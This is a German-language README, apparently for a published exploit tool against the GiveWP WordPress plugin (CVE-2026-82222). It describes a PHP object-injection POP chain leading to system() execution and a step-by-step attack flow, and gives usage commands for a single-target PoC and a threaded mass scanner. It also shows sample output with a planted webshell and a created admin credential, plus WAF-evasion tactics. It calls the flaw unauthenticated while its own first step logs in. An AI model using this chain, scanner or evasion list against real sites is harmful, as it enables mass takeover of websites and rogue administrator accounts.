
# GiveWP <= 4.16.7.1 Nicht authentifizierte PHP-Objektinjektion → RCE
Autor: Rx019
CVSS: 10.0 (Kritisch)
Typ: Nicht authentifizierte PHP-Objektinjektion → Remote Code Execution
Plugin: GiveWP (give) — Spenden-Plugin und Fundraising-Plattform
Betroffen: <= 4.16.7.1
Behoben: 4.16.8
GiveWP speichert den last_name eines Spenders ohne Bereinigung in der PHP-Session. Wenn eine Spende ohne das Feld give_last übermittelt wird, deserialisiert GiveWP den Rohwert direkt aus der Datenbank in die Session. Dies ermöglicht es einem nicht authentifizierten Angreifer, ein PHP-serialisiertes Objekt über den Spenderprofil-Endpunkt in last_name zu injizieren und anschließend durch die Übermittlung einer manipulierten Spende die Deserialisierung auszulösen — was über eine vorgefertigte POP-Kette in den gebündelten Vendor-Bibliotheken von GiveWP zur Ausführung beliebiger Befehle führt.
TCPDF::__destruct()
└─ Session::getBag() ← ruft Methode auf, die nach $attributeName benannt ist
└─ DonationFactory::__call()
└─ system($command) ← $command stammt aus $attributeName
Verwendete Vendor-Klassen:
| Klasse | Datei |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Als Spender registrieren → authentifizierte Session (wp-login-Cookie)
2. POST /wp-admin/profile.php
last_name = serialisierte TCPDF-Kette mit eingebettetem system()-Befehl
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (Feld give_last WEGGELASSEN)
→ GiveWP liest last_name aus der DB, schreibt Rohobjekt in die Session
4. GET /?p={form_id}
→ PHP-Session-Teardown löst TCPDF::__destruct() aus
→ POP-Kette führt system(command) aus
5. Shell/Admin bestätigen
pip install requests rich
Python >= 3.9
| Datei | Beschreibung |
|---|---|
CVE-2026-82222.py | PoC für einzelne Ziele — ausführliche Schritt-für-Schritt-Ausgabe |
CVE-2026-82222-MASS.py | Massen-Scanner — Thread-basierter Batch-Modus |
python CVE-2026-82222.py
Interaktive Eingabeaufforderung:
Ziel-URL: https://victim.com
Oder direkt:
python CVE-2026-82222.py https://victim.com
# Batch aus Datei
python CVE-2026-82222-MASS.py -f targets.txt
# Benutzerdefinierte Thread-Anzahl
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Mehrere Ziele inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Interaktives Menü
python CVE-2026-82222-MASS.py
Batch-Dateiformat:
# Zeilen, die mit # beginnen, werden ignoriert
https://target1.com
https://target2.com
target3.com # Protokoll wird automatisch als https:// vorangestellt
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Methode : shell + direct (kein .php-Schreiben nötig) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Verwundbar : 12 Teilweise : 3 Behoben : 44 Nicht verwundbar : 21 Fehler : 2 Gesamt : 82
Ergebnisse gespeichert unter ~/Documents/CVE/CVE-2026-82222/:
| Datei | Inhalt |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Ergebnis des einzelnen Laufs |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Vollständige Batch-Ergebnisse |
success_results.txt | Angehängte VULN/PARTIAL-Zeilen |
Der Exploit versucht nacheinander zwei primäre Pfade:
wp_create_user()-PHP-Code als Base64 in die TCPDF-Kette injizierenWird verwendet, wenn Pfad A fehlschlägt oder die Admin-Anmeldung nicht verifiziert werden kann.
last_name injizierengive_last)/?p={form_id})id | tee-Beacon in eine .txt-Datei in uploadsWenn eine Shell bestätigt ist, aber noch kein Admin existiert, einen über die Shell mit wp_create_user() über den ?c=-Parameter der Webshell erstellen.
| WAF | Strategie |
|---|---|
| Imunify360 | X-Forwarded-For / X-Real-IP-Spoof-Header entfernen |
| Wordfence | User-Agent aus Pool rotieren |
| Cloudflare | Accept-Encoding: gzip, deflate, br setzen |
DISALLOW_FILE_EDIT in wp-config.php blockiert den Plugin/Theme-Editor-Vektor — das Skript erkennt dies frühzeitig und fällt auf Pfad B zurückRx{100-999}.php — pro Lauf randomisiertDieses Tool wird ausschließlich für autorisierte Sicherheitstests und Forschungszwecke veröffentlicht.
Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Unbefugte Nutzung ist illegal und unethisch.